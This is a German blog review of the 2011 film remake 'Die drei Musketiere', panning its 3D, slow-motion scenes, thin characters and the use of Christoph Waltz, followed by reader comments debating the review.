‚Die drei Musketiere‘ – Filmkritik (Kino)


Die Drei Musketiere
Die Drei Musketiere
© 2011 Constantin Film Verleih GmbH

Ich musste mein Handy abgeben, meine Tasche und mein „Körper“ wurden durchsucht und während der gesamten Pressevorführung wurde das Publikum mit Nachtsichtkameras beobachtet. Das müsste ja heißen, das dieser Film exklusiv gehalten werden soll (rechtlich gesehen zurecht!), aber ist dieser Film wirklich diesen Aufwand wert? Erfahrt es nun jetzt als Erste…

Die drei Musketiere“ sind so bekannt wie drei bärtige, metrosexuelle und Degen schwingende Männer nur bekannt sein können. Der Roman von Alexandre Dumas handelt von d’Artagnan und seinen drei Freunden Athos, Porthos und Aramis. Er ist der erste Teil einer Trilogie, die entsprechenden Folgebände heißen Zwanzig Jahre später und Der Vicomte von Bragelonne. Das neuste Remake der Romanverfilmung kommt nun am 01.09.2011 in die deutschen Kinos.

Deutscher Trailer zu „Die drei Musketiere“
[youtube]http://www.youtube.com/watch?v=DfHa9VEuaS0[/youtube]

Filmkritik zu „Die drei Musketiere“

Wo soll ich anfangen?! Zuersteinmal mit dem Guten.
Wer auf Landschaftsaufnahmen steht, wird bei „Die drei Musketiere“ auf seine Kosten kommen. Der komplette Film wurde in Deutschland gedreht und auch die Kulissen sind sehr stimmig und passend gesetzt.

Das wars auch schon. Wie das war’s schon?! Ja richtig, der Film macht sehr vieles Falsch – was genau? Lest weiter…

Das die Geschichte, die Charaktere und die Handlungen total fiktiv sind, ist bekannt, doch leider reiht sich der Film in den lauen Super-Helden-Sommer-2011 ein, der bereits ausreichend spektakuläre Optik zu bieten hat.
Das die Charaktere einen beinahe ekelhaften Helden/Schurken Pathos ausstrahlen mag Geschmackssache sein, doch mir reicht es langsam mit dieser Schwarz-Weiß-Malerei und den immer wiederkehrenden, gleichen Motiven.

Ein Wort zu der Technik. Man merkt an allen Ecken und Kanten, dass das Remake von „Die drei Musketiere“ „neu“ und „hip“ dastehen will. Und das ist ein Fehler. Der 3D Effekt ist sowas von überflüssig und aufgesetzt. Ich würde den Schlipsträger, der diese Entscheidung getroffen hat und nur die dicken Geldbündel gesehen hat, gerne mal Ohrfeigen. Auch in diesem Film findet man ca. 100 Slowmotion Szenen, die so gar nicht in das „märchenhafte“ Setting passen.
Bei zwei Szenen musste ich sogar laut lachen. Hier zwei kleine Hinweise für diejenigen, die sich den Film tatsächlich noch angucken werden: Rechts-nach-Links-lauf-Kampfszene von Zack Snyders „300“ und Läser-Strahlen-Sprung von Milla Jovovich.

Apropos Jovovich. Der Film ist hochgradig besetzt, doch leider merkt man davon gar nichts. Was haben Namen wie Christoph Waltz, Orlando Bloom, Milla Jovovich und Mike Mikelsen bitte am Set gemacht? Ich bin wirklich sehr entäuscht.

Die Story ist relativ wirr erzählt, also erkundigt euch vorher über andere Adaptionen, damit ihr nicht, wie ich total „blank“ im Sessel hockt und nicht wisst was los ist. Was logischerweise nicht unbedingt für den Film spricht.

Ihr seht schon, ich bin sauer, aber das alles hätte ich verschmerzen können und eine „Für-Fans“ -Empfehlung aussprechen können, wenn nicht der große WALTZ-Fehler begangen wäre. Sogar Christoph Waltz sieht in diesem Film sehr „blass“ aus. Seine Lines (Textzeilen) sind kurz und uninteressant und irgendwie wirkt er total eingeschränkt. Und wenn ein Regisseur nicht weiß wie man Christoph Waltz einsetzen kann, sollte dieser nochmal gut über sein Handwerk nachdenken.
Auch alle anderen Charaktere sind dermaßen dünn gestaltet, das einem wirklich alles egal ist was mit ihnen passiert.

HEY KLOPF KLOPF PRODUZENTEN! Nächste mal nicht so auf Effekthascherei und mehr auf die Charaktere eingehen, okay?!

Fazit:
Die drei Musketiere“ merkt man deutlich an, das er „hip“ sein will und einfach alles „Angesagte“ reinbringt. Er ist auf Geld ausgelegt und man vermisst deutlich die Liebe zur Thematik, zum Detail, zu den Charakteren und zur Filmkunst.

3.5 von 10 Freeks
Darsteller:
Logan Lerman, Matthew Macfadyen, Ray Stevenson, Milla Jovovich, Orlando Bloom, Christoph Waltz, Mads Mikkelsen
Regie:
Paul W.S. Anderson

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Deine Filmbewertung:
Rating: 7.0/10 (21 votes cast)

Achja, wenn man den letzten Szenen Glauben schenken darf, gibt es sogar einen Nachfolger! Oh Gott!

Und nochwas, der Freistaat Bayern hat dieser Produktion 2 Millionen Euro zukommen lassen, aber wenn man dann darum bittet allen Grundschulen in Bayern für ein Jahr Obst und Gemüse zukommen zu lassen (was 5 Millionen kosten würde) wird man mit „wir haben für sowas kein Geld“ abgewürgt…

Wie gefällt euch die Kritik, seid ihr meiner Meinung oder werden wir jetzt mit Hass Mails zugebommt? Seid kreativ 🙂

euer mFilmkritik

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'Die drei Musketiere' - Filmkritik (Kino), 7.0 out of 10 based on 21 ratings

10 Replies to “‚Die drei Musketiere‘ – Filmkritik (Kino)”

  1. Oh, schade. Ich hatte eigentlich gehofft, dass sich zumindest der 3D-Effekt lohnen würde, aber so werde ich zumindest im Kino nichts Wichtiges verpassen, wenn ich mir die Drei Musketiere nicht angucke.
    Und die 2 Mio Euro sollte man mal lieber deutschen Indie-Produktionen zukommen lassen, davon haben wir nämlich leider viel zu wenige…

  2. Oh weh, wenn jemand aus Mads Mikkelsen einen Mike Mikelsen macht, dann weiß ich leider nicht, was ich von seiner „Kritik“ halten soll. Und erwähnen hätte man ja mal diejenigen können, die die Titelhelden sind, nämlich Athos (Matthew Macfadyen), Porthos (Ray Stevenson) und Aramis (Luke Evans), stattdessen schießt man sich auf Waltz und Bloom ein, weil es halt große Namen sind… nun ja. Und wenn man sich im Vorfeld ein wenig mit Anderson (Regie) oder Davies (Drehbuch) sowie den Produzenten bei Constantin Film befasst und aufmerksam deren Intentionen mitverfolgt hat, kennt man die Hintergründe dieser Verfilmung und geht mit dieser Adaption vielleicht etwas gnädiger um.

  3. Ich entschuldige mich tausendfach dafür, dass ich Mike mikelsen geschrieben habe.
    Und um auf deine anderen „Kritik“ Punkte einzugehen….
    Wenn man sich den letzten Film von Paul W. S. Anderson angeschaut hat, dann braucht man nicht groß auf seine „Arbeit“ eingehen.
    Was bringen mir die Erwahnung der Titelhelden, wenn keiner deren Schauspieler auch nur Ansatzweise erwähnenswert sind? Und ich bin bei Leibe kein Mensch, der nur auf große Namen setzt.
    Intention? Ja ist mir durchaus bekannt, habe schließlich das Presseheft

  4. …gelesen. Es geht um Geldmacherei.
    Natürlich lässt sich über Filmgeschmack heftig streiten, aber man sollte sich den Film erstmal selber anschauen und dann urteilen…

    Mit freunichen Grüßen

    mfilmkritik

      1. Würde sagen, da treffen einfach mal zwei Welten aufeinander. Ich selbst habe ihn bisher noch nicht gesehen, bin aber überrascht wie positiv die Bewertungen der Kritiker und wie negativ im Gegenzug die bisherigen Bewertungen der Zuschauer ausfallen….bin gespannt was bei IMDB für ne Note rauskommt, wenn der Film erstmal gestartet ist.

  5. Ich denke, ich werde auf diese Kritik nicht allzu viel geben.
    Wer nicht in der Lage ist, in seiner Kritik eklatante Rechtschreibfehler (die jedes Rechtschreibprogramm sofort markieren würde 😯 ) zu beseitigen, auf dessen pseudo-fachkundige Meinung gebe ich nicht allzu viel.
    Werde mir den Film definitiv ansehen und mir meine eigene Meinung machen. 😉

  6. Hab den Film am Donnerstag gesehen (aus Lokalpatriotismus) und kann der Kritik zu 95% zustimmen. Auch ich bin von der erzählerischen Qualität restlos enttäuscht und das, obwohl ich sowieso schon mit sehr niedrigen Erwartungen ins Kino gegangen bin. Allenfalls die ersten 10 Minuten habe ich mich amüsiert, danach habe ich emotional absolut abgeschaltet.

    Die Drehorte und Kulissen sind toll, aber wie gesagt, in dieser Beziehung bin ich als Franke wenig objektiv.

    Christoph Waltz finde ich nicht ganz so übel wie den gesamten Rest, aber nur, weil ich seine Performance in gewisser Hinsicht als selbstironische Darstellung empfinde, die sich über die eigene Rolle in gewisser Hinsicht lustig macht. Das macht den Film nicht besser, aber amüsiert mich wenigstens.

    Den 3D-Effekt will ich auch nicht verteufeln, weil ich glaube, dass er die Geschichte gut hätte unterstützen können, WENN denn das erzählerische Handwerk gekonnt gewesen wäre.

    Aber ja, alles in allem EXTREM schade 🙁

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